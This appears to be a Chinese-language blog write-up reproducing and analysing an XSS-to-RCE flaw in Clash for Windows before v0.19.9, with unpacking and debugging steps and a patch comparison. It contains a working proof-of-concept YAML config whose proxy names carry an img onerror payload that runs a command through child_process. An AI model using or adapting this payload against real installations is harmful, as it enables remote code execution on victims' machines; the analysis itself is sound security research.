Joe1sn's Cabinet

【漏洞复现】clash

影响版本

Windows v0.19.9版本以下

漏洞复现

漏洞程序连接:

https://github.com/Fndroid/clash_for_windows_pkg/releases

image-20220409215612134

poc.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true

proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

在Profiles里面import导入poc后,激活

image-20220409220533062

之后启用节点(Proxies)

image-20220409220420927

相关日志

image-20220409220505710

漏洞分析

1.使用PoC进行分析

看PoC的写法是不是特别像XSS,因为偶Clash For Windows采用electron编写,使用asar

安装asar

1
npm install -g asar

解包

1
asar e app.asar app_name

对其进行解包后:

image-20220410101841003

原作者对render采用了一定的混淆,虽然变量名混淆对分析造成了极大的干扰,但是最大的麻烦还是一行的js代码,这里可以使用 https://beautifier.io/ 反混淆,替换掉原有的renderer.js文件

打包

1
asar pack app_name app.asar

之后使用Debugtron进行调试,找到前端相关的代码

image-20220410102410029

下个断点一步步看吧

image-20220410102520095

这里就已经触发漏洞了

image-20220410104219469

image-20220410105415507

最终发现漏洞代码

image-20220410110229298

renderer.js在加载配置文件的时候,创造元素并加载时并没有对元素进行检查或转义,从而导致XSS

然后XSS中,利用 img 元素的报错处理实现RCE

2.版本对比分析

其实后续分析时,尤其是作者已经修复漏洞的时候最应该使用这个方法。

这样我们就不用一步步的调试了,但是这里采用了混淆也是不好分析。

下载已修复版本,我这里使用的是 Clash.for.Windows-0.19.9-win,测了下确实没有洞

image-20220410110945159

继续使用degtron进行调试

image-20220410132317281

这里的尖括号被替换了,应该就是更新了过滤法则,直接转义成字符串了

挖掘思路

根据上面的分析,怀疑是漏洞挖掘者通过测试.yaml配置文件测试出来的xss,进一步导致rce

引用

http://www.yongsheng.site/2022/02/28/clash for windows rce/

https://github.com/electron/asar

https://github.com/bytedance/debugtron